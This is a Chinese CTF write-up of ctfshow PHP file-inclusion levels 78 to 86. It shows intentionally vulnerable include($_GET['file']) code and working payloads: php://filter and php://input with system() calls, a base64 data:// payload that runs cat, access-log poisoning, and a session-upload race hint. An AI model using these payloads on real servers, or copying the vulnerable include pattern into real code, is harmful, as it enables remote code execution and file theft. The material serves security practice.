前言

1.什么是文件包含?

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意
外的文件泄漏甚至恶意代码注入。

2.文件包含的要求是什么?

alow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

3.通过什么触发?
通过php函数例如include,require等等
include只生成警告但是会继续执行
require生成警告但是停止执行

include包含txt也会把里面的内容当做php代码来执行。

78

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
}

伪协议随意操作?file=php://filter/read=convert.base64-encode/resource=flag.php
当然这是知道flag在哪的时候,可以先?file=php://input
然后post传php代码就可以直接执行,但是最好是用bp来做
先`<?php system("ls");?>.
再cat flag.php即可

79

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

过滤了php
用data来读
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

80、81

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

data也过滤了,用日志包含试试,可以包含我们自己的文件,先发个请求

然后file=/var/log/nginx/access.log
然后ls cat fl0g.php

82-86

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

句号没了,日志包含不了,可以利用session.upload_progress进行文件包含,然后条件竞争,rce。脚本就不放了,网上很多

[CTF]CTFSHOW文件包含练习笔记相关推荐

  1. ctfshow 文件包含Web78-79

    Ctfshow文件包含漏洞 2022/4/15 漏洞简介: 文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期的文件.如果文件中存在恶意代码,无论文件是什么类型 ...

  2. CG CTF WEB 文件包含

    http://4.chinalover.sinaapp.com/web7/index.php 题解: 文件包含漏洞的格式网址,通过php://filter读取index源码-->php://fi ...

  3. php文件包含读源码,CTF PHP文件包含--session

    PHP文件包含 Session 首先了解一下PHP文件包含漏洞----包含session 利用条件:session文件路径已知,且其中内容部分可控. 姿势: php的session文件的保存路径可以在 ...

  4. php文件包含session,CTF PHP文件包含--session

    PHP文件包含 Session 首先了解一下PHP文件包含漏洞----包含session 利用条件:session文件路径已知,且其中内容部分可控. 姿势: php的session文件的保存路径可以在 ...

  5. CTF之文件包含的猥琐思路

    From: i春秋 百度杯"CTF 一: <?php include "flag.php"; //包含flag.php这个文件 $a = @$_REQUEST['h ...

  6. CTFshow 文件包含 web82

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...

  7. CTFshow 文件包含 web80

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...

  8. ctfshow 文件包含 web 78 -117

    目录 web 78 web 79 web 80 web 81 web 82-86(环境暂时做不了) web 87 web 88 web 116 web 117 web 78 data://text/p ...

  9. CTFshow 文件包含 web116

    目录 源码 思路 题解 总结 源码 下载视频用winhex分离出png 思路 可以正常读文件 题解 直接跑字典 总结 水题

  10. CTFshow 文件包含 web87

    目录 源码 思路 题解 题解一 题解二 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11: ...

最新文章

  1. Hibernate锁定模式– PESSIMISTIC_READ和PESSIMISTIC_WRITE如何工作
  2. EventUtil.addHandler方法
  3. PHP 数字转化为自定义长度的字符串[前插后入]
  4. [精华]如何编写高质量的VB代码
  5. 在html页面中建立文字连接,html中如何建立超链接
  6. CSS常见的中属性级,选择符级的Hack
  7. 【正则】正则表达式基础知识大全
  8. detail.html翻译中文,detail是什么意思_detail的翻译_音标_读音_用法_例句_爱词霸在线词典...
  9. 7个详细步骤教程学会大学生静态网页设计与制作
  10. win7激活码失效 报错0xC004F057解决方法
  11. LittleVGL入门
  12. 【心电信号】基于matlab心率检测【含Matlab源码 1993期】
  13. Android 客户端与服务端的数据交互问题
  14. android项目屏幕适配的解决方法
  15. 习题整理——二叉树NOI1758、UVA679、UVA122
  16. 电脑推荐-暂时就写这么多
  17. 2021计算机三级网络技术教程,全国计算机等级考试三级教程——网络技术(2021年版)...
  18. 不用PLC Smart触摸屏与多台变频器通信 变频器通讯西门子触摸屏直接与台达VFD-S1和松下VF100变频器MODBUS RTU通讯,
  19. java计算机毕业设计计算机组成原理教学网站源码+mysql数据库+系统+lw文档+部署
  20. Android 混淆机制、通用模板

热门文章

  1. 解决VMware Workstation Pro15 无法在Windows上运行
  2. 【Android】Instant Run原理解析
  3. 看完书就忘,怎么办?告诉你六种方法(转载)
  4. 定时备份网站数据文件到阿里网盘
  5. 阿里网盘阿里云盘----手机端PC端
  6. 【强化学习】Policy Gradient(策略梯度)算法详解
  7. 160x128JAva_GitHub - hanang128/X-SpringBoot: X-SpringBoot是一个轻量级的Java快速开发平台,能快速开发项目并交付【接私活利器】...
  8. 在SpringBoot项目中,自定义注解+拦截器优雅的实现数据的加解密!
  9. Windows 回声消除 怎么外放音乐不让对方听到
  10. 2022年最全快手市场研报合集(共61份)